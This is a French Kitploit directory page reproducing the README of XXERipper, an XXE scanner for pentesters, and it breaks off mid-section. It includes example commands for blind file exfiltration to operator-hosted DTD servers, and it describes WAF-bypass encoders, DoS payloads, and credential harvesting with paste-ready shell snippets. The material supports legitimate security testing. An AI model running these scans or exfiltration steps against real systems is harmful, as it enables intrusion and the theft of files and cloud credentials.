Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
XXERipper — Scanner XXE en boîte noire détectant les injections in-band, basées sur les erreurs et blind out-of-band via un établissement de base statistique, une empreinte de parseur et une confirmation OOB, avec sortie SARIF. | Kitploit
Outils/GitHubGitHub/kamalx06/xxeripper
ReconnaissanceScanners de VulnérabilitésScanners de Vulnérabilités WebExploitationScripting et AutomatisationTests de Sécurité des APIExfiltration de DonnéesCollecte d'InformationsContournement de WAFSécurité WebTests d'Intrusion
25il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Red Teaming
GitHubkamalx06/xxeripper

XXERipper

Scanner XXE en boîte noire détectant les injections in-band, basées sur les erreurs et blind out-of-band via un établissement de base statistique, une empreinte de parseur et une confirmation OOB, avec sortie SARIF.

Voir le dépôt
Partager

XXERipper

Un scanner autonome en boîte noire pour les entités externes XML (XXE), destiné aux professionnels de la sécurité.

XXERipper détecte les XXE in-band, basées sur les erreurs et blind out-of-band à travers plus de 30 familles de techniques d'attaque. Il combine l'établissement de bases statistiques, l'empreinte différentielle des parseurs, la confirmation out-of-band via interactsh-client (manuelle ou automatique), une console basée navigateur, l'encodage de contournement de WAF, la détection de chaînes d'exploitation de bout en bout, l'extraction d'identifiants avec des extraits shell prêts à coller, des résultats mappés CWE, et une sortie JSON / SARIF / HTML pour le CI/CD et le reporting.

License: GPL v3 Python 3.9+ Version PRs Welcome


Table des matières

  • Vue d'ensemble
  • Fonctionnalités clés
  • Installation
  • Démarrage rapide
  • Utilisation
  • Référence de la ligne de commande
  • Console Web
  • Architecture et conception
  • Méthodologie d'empreinte
  • Méthodologie de détection
  • Moteur de précision
  • Techniques d'attaque
  • Chaînes d'exploitation et extraction de butin
  • Confirmation out-of-band
  • Encodage de contournement de WAF
  • Charges utiles personnalisées
  • Formats de sortie
  • Fiabilité et couverture
  • Intégration CI/CD
  • Tests contre les laboratoires inclus
  • Compilation, licence et crédits

  • Vue d'ensemble

    XXERipper est un scanner CLI et console navigateur autonome pour l'injection d'entités externes XML, conçu pour les testeurs d'intrusion, les chasseurs de bug bounty et les chercheurs en sécurité qui ont besoin d'une détection précise et à faible taux de faux positifs d'une classe de vulnérabilité facile à mal tester et difficile à bien tester.

    Il est délibérément minimal — httpx et (pour la console) flask, rien d'autre — et auditable de bout en bout. Chaque phase peut être tracée, chaque résultat porte une piste de preuves, chaque technique ignorée est signalée avec une raison, et chaque fichier ou identifiant extrait est dédupliqué et stocké avec des extraits d'exploitation prêts à coller.

    XXERipper n'exploite pas la cible au-delà de la primitive de résolution d'entité elle-même. Il détermine si un parseur résout les entités externes, si le résultat peut être observé in-band, via des erreurs de parseur, ou out-of-band, et rapporte cette détermination avec un score de confiance, un mappage CWE, et — lorsqu'une chaîne complète se termine — un résultat de synthèse qui nomme l'impact de bout en bout.


    Fonctionnalités clés

    • Plus de 30 familles de techniques d'attaque couvrant les classes in-band, basées sur les erreurs, blind, contournement d'encodage, récepteur alternatif, fetcher étendu, métadonnées cloud, wrapper RCE, document Office et désérialisation YAML.
    • Détection de chaîne d'exploitation de bout en bout. Un ChainTracker observe chaque résultat, dérive les étapes de la chaîne à partir de l'ID + des preuves, et déclenche un résultat de synthèse lorsqu'un modèle se complète — XXE → IMDS → identifiants IAM → prise de contrôle de compte AWS, XXE → clé privée SSH → mouvement latéral, XXE → secrets Kubernetes → vol d'identifiants de cluster, et dix autres.
    • Stockage de butin avec extraction d'identifiants sur sept types. Chaque résultat de lecture de fichier passe par un extracteur universel qui extrait le contenu brut du fichier de la réponse, le stocke dédupliqué, et l'analyse à la recherche de blobs AWS IAM, d'identifiants AWS CLI, d'identifiants Alibaba RAM, de clés privées SSH, de comptes de service GCP, de jetons d'accès OAuth (métadonnées GCP et identité managée Azure), de jetons de compte de service Kubernetes, et de jetons bearer génériques. Chaque identifiant porte des extraits shell prêts à coller — aws sts get-caller-identity, aliyun sts GetCallerIdentity, ssh -i …, gcloud auth activate-service-account, kubectl --token=…, et curl -H 'Authorization: Bearer …' — construits avec les revendications réelles du jeton lorsque cela s'applique.
    • Empreinte différentielle des parseurs sur 11 piles XML (libxml2, Xerces, .NET, Java SAX/StAX, Python stdlib, PHP DOM, Ruby, Node.js, Perl, Go), avec des sondes test/contrôle appariées et un cache par URL sur disque.
    • Établissement de bases statistiques — médiane, IQR, p95, statut du mode, et entropie de Shannon fenêtrée — avec des vetos gradués qui rejettent le bruit sans supprimer les vrais résultats.
    • Confirmation out-of-band via interactsh-client. Deux modes : manuel (le scanner affiche chaque sous-domaine, vous surveillez le client) et auto (--oob-auto lance interactsh-client et corrèle les callbacks en cours de processus). Les deux intègrent un jeton unique de 16 hexadécimaux par charge utile afin que les callbacks ne puissent jamais être mal attribués.
    • Exfiltration de fichiers en aveugle — le scanner sert le DTD qui amène la cible à envoyer le contenu du fichier dans le callback, extrait la charge utile exfiltrée, et la route via le même pipeline de butin que les lectures in-band. Trois options d'hébergement de DTD : un serveur HTTP intégré (--oob-listen), un répertoire servi par votre propre serveur web (--oob-dtd-dir), ou les propres routes Flask du WebUI (cochez Serve DTDs from this WebUI dans le tiroir).
    • Détection de chaîne de métadonnées cloud en tant que phase de première classe : AWS IMDSv1/v2 (y compris la détection IMDSv2), GCP, Azure, Alibaba, Oracle, et l'API de compte de service Kubernetes. Une réponse contenant des marqueurs d'identifiants est promue en CRITICAL et n'est plus sondée.
    • Wrappers de protocole XXE-vers-RCE : jar://, data://, phar://, glob://, compress.zlib://.
    • Invocation XSLT de document Office (XXE-OFFICE-XSLT-{DOCX,XLSX}) — une PI xml-stylesheet à l'intérieur d'une partie Word ou Excel amène les processeurs de documents côté serveur à récupérer un XSLT contrôlé par l'attaquant.
    • Désérialisation YAML non sécurisée — CWE-502, sondée parallèlement au XML via les mêmes points de terminaison via des charges utiles PyYAML et SnakeYAML.
    • Bascule de type de contenu JSON-vers-XML — détecte Spring MVC avec jackson-dataformat-xml sur le classpath, qui accepte silencieusement application/xml sur n'importe quel point de terminaison @RequestBody.
    • XXE pré-signature SAML — analyse le corps de l'assertion avant la vérification de la signature, la séquence que CVE-2026-28809 (esaml) a exposée.
    • Phase de contournement de WAF (--bypass-waf) — renvoie l'intégralité du catalogue de charges utiles via quinze encodeurs répartis en trois familles. S'exécute après les phases principales afin qu'un hit direct soit trouvé en ~20 requêtes au lieu d'être enfoui derrière ~1 500 requêtes encodées.
    • Négociation HTTP/2 — le constructeur de session parle HTTP/2 via ALPN et revient silencieusement à HTTP/1.1.
    • Empreinte multi-indicateurs — aucune correspondance de chaîne unique ne déclenche un résultat.
    • Isolation des exceptions par phase — un plantage dans une famille de techniques ne peut pas perdre les résultats des phases déjà terminées.
    • Console Web (--serve) — atelier basé navigateur avec streaming d'événements en direct, palette de commandes, navigation au clavier, téléchargements JSON / SARIF / HTML par tâche, et un bouton View HTML séparé qui ouvre le rapport en ligne au lieu de le télécharger. Frontend sans dépendance : un seul fichier HTML autonome, sans CDN.
    • Résultats mappés CWE émis en JSON, SARIF v2.1.0, et un rapport HTML imprimable autonome.
    • Rapport de couverture — chaque phase qui n'a pas été exécutée est listée avec une raison, afin que « propre » ne soit jamais confondu avec « incomplet ».
    • Rejeu pré-authentification — --pre-auth-request FILE rejoue les requêtes au format Burp et fusionne leur Set-Cookie avant le début du scan, afin que les flux d'authentification multi-étapes fonctionnent sans fichier de cookies.
    • Limitation de débit, nouvelle tentative avec backoff, et budget en temps réel pour éviter un DoS accidentel.

    Installation

    PyPI (recommandé)```bash

    pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support

    root@kitploit:~
    L'installation de base inclut `httpx[http2]` (avec la négociation HTTP/2
    activée via ALPN) et `Flask` (utilisé par la console web `--serve`).
    La prise en charge du proxy SOCKS est la seule dépendance optionnelle. HTTP/2 est une fonctionnalité
    requise, et non optionnelle — elle figure dans la liste des dépendances principales sous
    `httpx[http2]`. L'extra `xxeripper[http2]` est fourni uniquement pour
    les habitudes des utilisateurs ; l'installer équivaut à installer le paquet de base.
    
    ### Paquets de distribution```bash
    sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst    # Arch
    sudo dpkg -i xxeripper_1.0.0-1_all.deb              # Debian / Ubuntu
    sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm  # Fedora / RHEL
    

    Depuis la source```bash

    git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"

    root@kitploit:~
    ### Prérequis
    
    - **Python 3.9 à 3.14.**
    - **`httpx[http2]` ≥ 0.27, < 0.29** — le client HTTP. La prise en charge
      de HTTP/2 est apportée via l'extra `[http2]` de `httpx`, qui entraîne
      la dépendance `h2` avec lui. Le scanner négocie HTTP/2 via ALPN lors
      de la poignée de main TLS et revient silencieusement à HTTP/1.1 là où
      le serveur ne le prend pas en charge.
    - **`Flask` ≥ 3.0, < 4.0** — utilisé par la console web `--serve`. C'est
      une dépendance principale, pas une dépendance optionnelle ; la console
      est une interface de premier ordre, et `xxeripper --serve` est documenté dans
      [Quick Start](#quick-start) et [Web Console](#web-console).
    - **Optionnel :** `PySocks` ≥ 1.7.1 pour les proxies SOCKS
      (`xxeripper[socks]`).
    - **Optionnel :** `interactsh-client` dans le `PATH` pour la confirmation
      OOB automatique (`--oob-auto`). Le mode OOB manuel (`--oob-domain`) n'a
      aucune dépendance externe — vous exécutez `interactsh-client` vous-même dans un
      terminal séparé.
    
    Le wheel contient un seul fichier, `xxeripper.py`. Il n'y a pas de répertoire
    de package, pas d'extension compilée, et pas d'étape de build à l'installation.
    Le point d'entrée CLI est déclaré comme `xxeripper = "xxeripper:main"`, donc
    `pip install xxeripper` place un exécutable `xxeripper` dans votre `PATH`.
    
    ### Extras optionnels
    
    | Extra | Ajoute | Quand l'installer |
    |---|---|---|
    | `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | Vous scannez via un proxy SOCKS5, y compris Tor via `socks5h://` |
    | `xxeripper[http2]` | *(rien de nouveau)* | Jamais strictement nécessaire — l'installation de base inclut déjà `httpx[http2]`. Fourni pour l'habitude des utilisateurs |
    
    Il n'y a pas d'extra `[webui]` — Flask est une dépendance principale, et la
    console fonctionne immédiatement sur toute installation de base.
    
    ---
    
    ## Quick Start```bash
    # 1. Basic scan (in-band and error-based, no OOB)
    xxeripper https://target.com/api/xml
    
    # 2. Terminal A: start interactsh-client and note the session domain
    interactsh-client -v
    # [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
    
    # 3. Terminal B: scan with OOB payloads under that domain
    xxeripper https://target.com/api/xml \
        --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
    
    # 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
    
    # 5. Or skip the two-terminal dance: let the scanner spawn and drive
    #    interactsh-client itself
    xxeripper https://target.com/api/xml --oob-auto
    
    # 6. Blind file exfiltration with the built-in DTD server
    xxeripper https://target.com/api/xml \
        --oob-auto --oob-listen 0.0.0.0:8888 \
        --oob-public-url http://your-public-ip:8888
    
    # 7. Launch the browser-based console instead of a CLI scan
    xxeripper --serve
    # [*] XXE-Ripper web console
    # [*]   URL:  http://127.0.0.1:8080
    
    # 8. Write a self-contained HTML report
    xxeripper https://target.com/api/xml --report-html report.html
    
    # 9. CI usage: write SARIF and fail the build on HIGH+ findings
    xxeripper https://target.com/api/xml \
        -o results.sarif --format sarif --fail-on high
    

    Le scanner gère la capture de référence, l'empreinte des parseurs, la génération de charges utiles, l'exécution, la notation, l'agrégation de chaînes, l'extraction des identifiants et la génération de rapports. La confirmation aveugle est disponible soit sous forme de flux de travail à deux terminaux (mode manuel, par défaut), soit sous forme de flux de travail entièrement automatisé piloté par sous-processus (--oob-auto).


    Utilisation```bash

    Authenticated scan

    xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt

    Multi-step auth: replay a login first, then scan with the resulting session

    xxeripper https://target.com/api/xml
    --pre-auth-request login.burp --pre-auth-request csrf.burp

    Burp request ingestion

    xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

    Automatic OOB (spawns interactsh-client, correlates callbacks in-process)

    xxeripper -r request.txt --oob-auto

    Blind exfiltration with the built-in DTD server

    xxeripper https://target.com/api/xml
    --oob-auto
    --oob-listen 0.0.0.0:8888
    --oob-public-url http://198.51.100.7:8888

    Blind exfiltration with a directory served by your own web server

    xxeripper https://target.com/api/xml
    --oob-auto
    --oob-dtd-dir /var/www/dtds
    --oob-dtd-url-prefix http://198.51.100.7:8000/dtds

    Custom payloads (inline, file, directory)

    xxeripper https://target.com/api/xml
    --payload ']>&e;'
    --payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

    Rate-limited batch scan

    xxeripper -u targets.txt -o results.json
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10

    Extended file-target scan

    xxeripper https://target.com/api/xml --full-file-scan

    Force upload-shaped phases on a target whose URL does not hint at it

    xxeripper https://target.com/ingest --svg
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

    Force the SAML pre-signature phase on a non-SAML-shaped URL

    xxeripper https://target.com/auth/assert --saml --oob-auto

    WAF bypass: re-send the entire catalogue through every encoder

    xxeripper https://target.com/api/xml --bypass-waf all --oob-auto

    WAF bypass: pick specific encoders

    xxeripper https://target.com/api/xml
    --bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto

    Start the web console instead of a CLI scan

    xxeripper --serve --port 8080

    Both JSON and SARIF output, plus a printable HTML report

    xxeripper https://target.com/api/xml
    -o results --format both --report-html results.html

    Full combination

    xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
    --oob-auto --timing --unsafe --svg --saml --full-file-scan
    --bypass-waf utf16be,ebcdic,ucs4_2143
    --oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
    --threads 20 --rate 8 --timeout-read 20 --budget 1800
    --proxy socks5://127.0.0.1:9050 --debug
    -o results --format both --report-html report.html

    root@kitploit:~
    ---
    
    ## Référence en ligne de commande
    
    ### Cible et sortie
    
    | Option | Description |
    |---|---|
    | `url` (positionnel) | URL unique à scanner |
    | `-u, --urls FILE` | Fichier contenant des URLs, une par ligne |
    | `-r, --request FILE` | Requête HTTP brute au format Burp |
    | `-o, --output FILE` | Fichier de sortie des résultats |
    | `--format {json,sarif,both}` | Format de sortie. Par défaut : `json` |
    | `--report-html PATH` | Écrire un rapport HTML autonome après le scan |
    | `--fail-on {critical,high,medium,low,never}` | Quitter avec le code `2` lorsqu'une vulnérabilité de ce niveau de sévérité ou supérieur est présente. Par défaut : `never` |
    | `--debug` | Sortie de diagnostic détaillée |
    
    ### Hors bande
    
    | Option | Description |
    |---|---|
    | `--oob-domain SESSION_DOMAIN` | **Mode manuel.** Domaine de session interactsh-client. Le scanner construit les payloads sous ce domaine et affiche chaque sous-domaine dans le résumé de la cible. Il ne fait pas de polling — surveillez votre terminal `interactsh-client`. Mutuellement exclusif avec `--oob-auto` |
    | `--oob-auto` | **Mode automatique.** Lance `interactsh-client` en sous-processus, extrait le domaine de session de sa sortie JSON et corrèle les callbacks dans le processus. Nécessite `interactsh-client` dans le `PATH`. Mutuellement exclusif avec `--oob-domain` |
    | `--oob-timeout SECONDS` | Budget d'attente OOB par polling. Pertinent uniquement avec `--oob-auto` ; le combiner avec `--oob-domain` est une erreur d'argument, car le mode manuel n'attend jamais. Par défaut : `8.0` |
    
    ### Exfiltration aveugle
    
    | Option | Description |
    |---|---|
    | `--oob-listen HOST:PORT` | Lier un serveur HTTP intégré qui sert les payloads DTD. Nécessite `--oob-public-url`. Utilisez `0.0.0.0:PORT` pour lier toutes les interfaces |
    | `--oob-public-url URL` | Préfixe d'URL public pour le serveur DTD intégré (par ex. `http://198.51.100.7:8888`). Requis avec `--oob-listen` |
    | `--oob-dtd-dir PATH` | Alternative à `--oob-listen` : un répertoire dans lequel le scanner écrit les fichiers DTD. Servez-le depuis votre propre serveur web. Nécessite `--oob-dtd-url-prefix` |
    | `--oob-dtd-url-prefix URL` | Préfixe d'URL public qui correspond à `--oob-dtd-dir` (par ex. `http://198.51.100.7:8000/dtds`) |
    
    Les deux modes sont mutuellement exclusifs en pratique : utilisez `--oob-listen` lorsque la cible peut atteindre l'adresse du scanner, et `--oob-dtd-dir` lorsque vous contrôlez un serveur web accessible publiquement. Le mode OOB manuel (`--oob-domain`) ne prend pas en charge l'exfiltration — le scanner ne lit jamais la sortie d'interactsh en mode manuel, donc le contenu exfiltré doit être lu depuis le terminal de l'opérateur.
    
    ### Console web
    
    | Option | Description |
    |---|---|
    | `--serve` | Démarrer la console basée navigateur au lieu d'exécuter un scan en CLI |
    | `--host ADDRESS` | Adresse de liaison pour la console. Par défaut : `127.0.0.1`. La bannière de démarrage avertit contre les liaisons non-loopback |
    | `--port PORT` | Port de liaison pour la console. Par défaut : `8080` |
    
    ### Empreinte et ciblage de fichiers
    
    | Option | Description |
    |---|---|
    | `--no-fingerprint` | Ignorer la phase d'empreinte du parseur. Le filtrage par capacités est désactivé ; toutes les phases s'exécutent inconditionnellement |
    | `--no-fingerprint-cache` | Désactiver le cache d'empreinte sur disque ; force une nouvelle sonde |
    | `--full-file-scan` | Parcourir la liste complète des cibles de fichiers Linux + Windows (~58 chemins) au lieu du sous-ensemble prioritaire (~21 chemins) |
    
    ### Cookies et payloads
    
    | Option | Description |
    |---|---|
    | `--cookie STRING` / `--cookie-file FILE` | Cookies en ligne ou fichier jar Netscape / `key=value` |
    | `--no-cookie-merge` | Ignorer la fusion des `Set-Cookie` |
    | `--pre-auth-request FILE` | Rejouer une requête au format Burp une fois avant le scan. Les en-têtes `Set-Cookie` de la réponse sont fusionnés dans le jar du scanner. Répétez pour une authentification multi-étapes |
    | `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | Payloads personnalisés (en ligne, fichier, répertoire) |
    
    ### Modes d'attaque
    
    | Option | Description |
    |---|---|
    | `--timing` | Activer la détection aveugle basée sur le timing |
    | `--unsafe` | Activer les payloads DoS (Billion Laughs) |
    | `--svg` | Forcer les phases d'upload SVG et multipart/DOCX/Office-XSLT |
    | `--saml` | Forcer la phase de pré-signature SAML sur les endpoints dont l'URL ne ressemble pas à du SAML |
    
    ### Contournement de WAF
    
    | Option | Description |
    |---|---|
    | `--bypass-waf [ENCODERS]` | Renvoyer l'intégralité du catalogue de payloads via les encodeurs sélectionnés *après* les phases principales. Passez `all` (ou aucune valeur) pour tous les encodeurs, ou un sous-ensemble séparé par des virgules. Noms valides : `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
    | `--bypass-waf-include-custom` | Étendre le balayage aux payloads fournis par l'utilisateur. Pertinent uniquement avec `--bypass-waf`. Les payloads personnalisés référençant `{CALLBACK}` ou `{DOMAIN}` sont ignorés |
    
    ### Réseau et stabilité
    
    | Option | Description |
    |---|---|
    | `--proxy URL` | `http://`, `https://`, `socks5://`, ou `socks5h://` |
    | `--threads N` | Cibles simultanées. Par défaut : 20 |
    | `--rate R` | Nombre maximum de requêtes par seconde par cible. Par défaut : illimité |
    | `--timeout-connect SECONDS` / `--timeout-read SECONDS` | Par défaut : 5.0 / 15.0 |
    | `--budget SECONDS` | Limite de scan en temps réel. Par défaut : 3600 |
    | `--verify-tls` | Réactiver la vérification des certificats |
    
    ### Placeholders de payloads personnalisés
    
    `{FILE}`, `{CALLBACK}`, `{DOMAIN}`, `{URL}`, `{HOST}` — substitués au moment de l'envoi par la cible de fichier courante, le sous-domaine de callback unique, le domaine de session, l'URL cible et le nom d'hôte cible.
    
    ---
    
    ## Console Web
    
    La console est un environnement de travail basé navigateur pour exécuter et inspecter des scans, servi depuis le même binaire via `--serve`.```bash
    xxeripper --serve
    # [*] XXE-Ripper web console
    # [*]   URL:  http://127.0.0.1:8080
    # [*]   127.0.0.1 by default. Do NOT expose to untrusted networks.
    # [*]   OOB auto mode available via the WebUI
    #         (interactsh-client will be spawned on first use).
    

    La console se lie à l'interface de bouclage par défaut et n'a aucune authentification. Une nouvelle liaison via --host affiche un avertissement explicite ; placez-la derrière un proxy inverse authentifié si vous avez besoin d'un accès distant.

    Disposition

    Un espace de travail à trois volets :

    • Cibles (à gauche) — chaque tâche avec son statut en direct, le nombre de résultats et la répartition par gravité.
    • Centre — un volet à onglets :
      • Résultats — filtrables par gravité, recherchables par texte, triables par gravité / ID / titre / confiance.
      • Événements — transitions de phase, annulations et événements de cycle de vie.
      • OOB — liste de répartition avec le statut de corrélation par charge utile une fois les rappels reçus, plus un bloc exfiltrated sous tout rappel ayant transporté du contenu de fichier récupéré.
      • Butin — chaque fichier et identifiant récupéré depuis la cible sélectionnée, avec des boutons de copie pour le contenu complet et des extraits de shell prêts à coller.
      • Journal — sortie de débogage lorsqu'elle est activée.
    • Inspecteur (à droite) — sous-onglets Vue d'ensemble / Preuves / Raisons / Brut pour le résultat sélectionné. La Vue d'ensemble affiche les identifiants extraits en ligne avec des boutons de copie par commande. Chaque valeur dispose d'un bouton de copie.

    Palette de commandes

    Appuyez sur ⌘K / Ctrl+K pour une recherche floue parmi les commandes, les cibles et les résultats. Les résultats affichent leur gravité sous forme de pastille colorée dans la palette.

    Raccourcis clavier

    ToucheAction
    j / kCible suivante / précédente
    n / pRésultat suivant / précédent
    /Focus sur le filtre
    cOuvrir le tiroir de nouveau scan
    rRelancer le scan sélectionné
    ?Boîte de dialogue des raccourcis
    EscFermeture progressive (filtre → résultat → cible)

    Tiroir de nouveau scan

    Accès complet à chaque option de la CLI depuis le navigateur : URL ou requête Burp, mode OOB (domaine manuel ou auto), la section Exfiltration aveugle avec deux options mutuellement exclusives (serveur DTD hébergé par la WebUI plus champ d'URL publique, ou répertoire DTD plus préfixe d'URL pour un service externe), proxy, cookies, débit, budget, délais d'attente, threads, charges utiles personnalisées, fichiers de charges utiles, requêtes de pré-authentification, et la grille de cases à cocher pour les options de scan. La section de contournement WAF expose les quinze encodeurs sous forme de cases à cocher individuelles plus un bouton « Tout basculer » ; la grille d'encodeurs et la case à cocher d'inclusion personnalisée se réinitialisent à l'état désactivé chaque fois que le tiroir se ferme, de sorte que le contournement ne se reporte jamais silencieusement entre les scans.

    OOB automatique depuis la console

    Cocher Mode OOB automatique dans le tiroir lance un interactsh-client pour la durée de vie du processus serveur. Il est lancé paresseusement lors de la première tâche OOB automatique et réutilisé par la suite. Plusieurs tâches concurrentes partagent le domaine de session mais maintiennent des ensembles de jetons indépendants, de sorte que les rappels restent correctement attribués par cible. Les rappels entrants sont affichés dans le terminal du serveur au fur et à mesure de leur arrivée.

    Serveur DTD hébergé par la WebUI

    En plus des options d'hébergement DTD côté CLI, la WebUI peut servir des DTD depuis ses propres routes Flask. Cochez Servir les DTD depuis cette WebUI dans le tiroir, fournissez l'URL publique où la WebUI est accessible, et le scanner enregistrera les DTD à /dtd/<token>.dtd sur le même processus Flask qui exécute la console. Pas de second terminal, pas de python -m http.server, pas de répertoire séparé.

    Cela fonctionne lorsque la cible peut atteindre l'adresse à laquelle la WebUI est liée. Liez la console à 0.0.0.0 avec un préfixe d'URL publique et la WebUI devient un serveur d'exfiltration entièrement autonome. Lorsque la cible est distante et que la WebUI ne l'est pas, utilisez plutôt le mode --oob-dtd-dir de la CLI : le scanner écrit les fichiers DTD dans un répertoire, vous servez ce répertoire depuis nginx ou Apache, et la WebUI relit les résultats via le même processus de scan.

    Artefacts par tâche

    Chaque tâche terminée dispose de trois boutons de téléchargement dans la barre d'outils :

    • JSON — identique octet pour octet à --format json de la CLI.
    • SARIF — identique octet pour octet à --format sarif de la CLI.
    • HTML — télécharge le rapport HTML autonome (utilise Content-Disposition: attachment).
    • Voir HTML — ouvre le même rapport en ligne dans un nouvel onglet (utilise Content-Disposition: inline).

    Même fichier, deux comportements, deux boutons.

    Prise en charge de l'annulation

    Une tâche en cours d'exécution peut être annulée depuis la console. L'annulation est coopérative : le ScanContext de la tâche est signalé, et chaque phase le vérifie avant chaque envoi de charge utile. Une tâche en attente d'un créneau de concurrence peut être annulée avant même de démarrer.


    Architecture et conception

    XXERipper est un orchestrateur monofichier avec un petit ensemble de composants composables. Il n'y a pas de système de plugins, pas de DSL de configuration, pas d'état externe au-delà du cache d'empreintes sur disque.``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘

    root@kitploit:~
    ### Composants
    
    | Composant | Rôle |
    |---|---|
    | `build_session` | Construit un `httpx.Client` avec négociation HTTP/2, mise en pool des connexions, proxy optionnel et injection d'en-têtes par requête |
    | `CookieManager` | Fusionne les cookies provenant de chaînes en ligne, de jars Netscape, de fichiers `key=value` et d'en-têtes Burp. Absorbe optionnellement les `Set-Cookie` de chaque réponse |
    | `CustomPayloadLoader` | Charge, découpe et normalise les payloads utilisateur depuis des chaînes en ligne, des fichiers (séparateur `---` ou délimiteurs `<‌?xml`) et des répertoires |
    | `OOBClient` | Génère des sous-domaines corrélés, suit les jetons en attente, distribue les observations, corrèle les callbacks avec un `InteractshManager` actif. Fonctionne de manière identique en modes manuel et automatique |
    | `InteractshManager` | Lance et lit `interactsh-client -json -v`, extrait le domaine de session, expose une liste de callbacks thread-safe |
    | `DTDServer` | Serveur HTTP intégré pour les payloads DTD d'exfiltration aveugle. Lié par `--oob-listen`. Sert `<token>.dtd` à la demande |
    | `FileDTDWriter` | Écrit des fichiers DTD dans un répertoire que l'opérateur sert en externe. Associé à `--oob-dtd-url-prefix` |
    | `WebUIDTDServer` | Prend en charge la route DTD hébergée par la WebUI. Enregistre les DTD dans un dictionnaire à l'échelle du processus et renvoie des URL sous `/dtd/<token>.dtd` |
    | `OOBExfilExtractor` | Analyse les objets de callback interactsh et extrait les données exfiltrées depuis les chemins/requêtes HTTP et les labels de sous-domaine DNS |
    | `ParserFingerprint` | Envoie des sondes test/contrôle appariées, fait correspondre le texte d'erreur à 11 familles de signatures, remplit un dictionnaire `capabilities` |
    | `StatisticalBaseline` | Capture 7 échantillons bénins ; calcule la longueur médiane, le temps écoulé, le statut, le hash du corps, l'entropie de Shannon médiane, l'entropie fenêtrée, l'IQR, le p95 |
    | `AccuracyEngine` | Évalue une réponse candidate par rapport à la baseline, applique les vetos et pondérations, classe la sévérité |
    | `XXEPayloadGenerator` | Fonctions pures renvoyant des chaînes et octets de payload pour chaque famille de techniques |
    | `XXEDetector` | L'orchestrateur : construit les en-têtes, exécute les phases, appelle le moteur de précision, enregistre les findings, pilote les sous-systèmes loot et chaîne |
    | `ChainTracker` | Enregistre les étapes de chaîne dérivées des IDs de findings et des preuves ; déclenche des findings de synthèse lorsque les templates sont complétés |
    | `LootStore` | Dépôt thread-safe et dédupliqué des fichiers et secrets extraits. Ne persiste rien sur disque par défaut |
    | `CredentialExtractor` | Extraction par regex des JSON et INI AWS IAM, Alibaba RAM, clés privées SSH, comptes de service GCP, jetons d'accès OAuth, jetons de compte de service Kubernetes et bearers génériques, chacun avec des extraits shell prêts à coller |
    | `FileContentExtractor` | Extraction spécifique au type du contenu brut de fichiers depuis les corps de réponse (`/etc/passwd`, `/etc/shadow`, clés SSH, `.env`, `web.config`, `win.ini`, `system.ini`, `boot.ini`, fichiers `/proc`), avec un fallback structurel générique |
    | `ScanContext` | Échéance en temps réel et annulation coopérative ; chaque phase le vérifie avant chaque envoi |
    | `RateLimiter` | Impose un intervalle minimum entre les requêtes par cible ; indépendant de `--threads` |
    
    ### Workflow de scan
    
    1. **Pré-vol.** Le jar de cookies est construit. Les requêtes de pré-authentification (le cas échéant) sont rejouées et leurs en-têtes `Set-Cookie` fusionnés. Les payloads personnalisés sont chargés. L'échéance du `ScanContext` est définie.
